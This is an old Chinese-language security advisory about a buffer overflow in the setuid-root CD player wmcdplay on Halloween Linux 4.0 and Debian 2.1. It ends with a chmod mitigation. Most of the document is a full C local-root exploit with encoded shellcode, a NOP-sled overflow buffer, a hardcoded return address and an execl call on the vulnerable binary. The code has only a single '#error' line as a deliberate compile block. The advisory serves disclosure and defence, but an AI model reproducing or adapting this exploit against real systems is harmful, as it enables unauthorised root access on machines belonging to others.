发布日期：2000-03-14
更新日期：2000-03-14

受影响系统：

Sam Hawker wmcdplay 1.0 beta1-2
   - Halloween Linux 4.0
   - Debian Linux 2.1

描述：

---

wmcdplay是unix系统下的常用的一个cd播放器，它通常在WindowMaker X11 窗口管理程序中
被使用。它通常不是被缺省安装的。如果手工安装它，它会被设置setuid root属性。由于
对输入的一个参数没有做边界检查，导致一个缓冲区溢出的漏洞发生。本地用户可用来获得
root权限。

<* 来源:   krahmer <krahmer@cs.uni-potsdam.de>
           TESO advisory --  http://teso.scene.at  
*>



测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

/*** Halloween 4 local root exploit for wmcdplay. Other distros are
*** maybe affected as well.
*** (C) 2000 by C-skills development. Under the GPL.
***
*** Bugdiscovery + exploit by S. Krahmer & Stealth.
***
*** This exploit was made (possible by|for) the team TESO and CyberPsychotic, the
*** OpenBSD-freak. :-) Greets to all our friends. You know who you are.
***
***
*** !!! FOR EDUCATIONAL PURPOSES ONLY !!!
***
*** other advisories and kewl stuff at:
*** http://www.cs.uni-potsdam.de/homepages/students/linuxer
***
***/
#include <stdio.h>

/* The shellcode can't contain '/' as wmcdplay will exit then.
* So i used Stealth's INCREDIBLE hellkit to generate these code! :-)
*/
char shell[] =
"\xeb\x03\x5e\xeb\x05\xe8\xf8\xff\xff\xff\x83\xc6\x0d\x31\xc9\xb1\x68\x80\x36\x01\x46\xe2\xfa"
"\xea\x09\x2e\x63\x68\x6f\x2e\x72\x69\x01\x80\xed\x66\x2a\x01\x01"
"\x54\x88\xe4\x82\xed\x1d\x56\x57\x52\xe9\x01\x01\x01\x01\x5a\x80\xc2\xbb\x11"
"\x01\x01\x8c\xba\x2b\xee\xfe\xfe\x30\xd3\xc6\x44\xfd\x01\x01\x01\x01\x88\x7c"
"\xf9\xb9\x16\x01\x01\x01\x88\xd7\x52\x88\xf2\xcc\x81\x8c\x4c\xf9\xb9\x0a\x01"
"\x01\x01\x88\xff\x52\x88\xf2\xcc\x81\x5a\x5f\x5e\x88\xed\x5c\xc2\x91\x91\x91"
"\x91\x91\x91\x91\x91\x91\x91\x91\x91\x91\x91\x91";

/* filename-buffer plus ret + ebp - defaultpath
*/
#define buflen (256+8 - 28)
#error "no kids please"

int main(int argc, char **argv)
{                                       
    char *wm[] = {
        "/usr/X11R6/bin/wmcdplay",
        "-f",
        "-display", "0:0", /* one might comment this if already running on X; remotely you can
                    * give your own server
                            */
        0
    };
    
    char boom[buflen+10];
    int i = 0, j = 0, ret =  0xbffff796;    /* this address works for me */

    memset(boom, 0, sizeof(boom));
    memset(boom, 0x90, buflen);
    if (argc > 1)
        ret += atoi(argv[1]);
    else
        printf("You can also add an offset to the commandline. 40 worked for me on the console.\n");
    for (i = buflen-strlen(shell)-4; i < buflen-4; i++)
        boom[i] = shell[j++];
    *(long*)(&boom[i]) = ret;
    
    printf("Get the real deal at http://www.cs.uni-potsdam.de/homepages/students/linuxer\n"
           "Respect other users privacy!\n");
           
    execl(wm[0], wm[0], wm[1], boom, wm[2], wm[3], 0);
    return 0;
}

建议：

---

临时解决办法：

  chmod u-s /usr/X11R6/bin/wmcdplay

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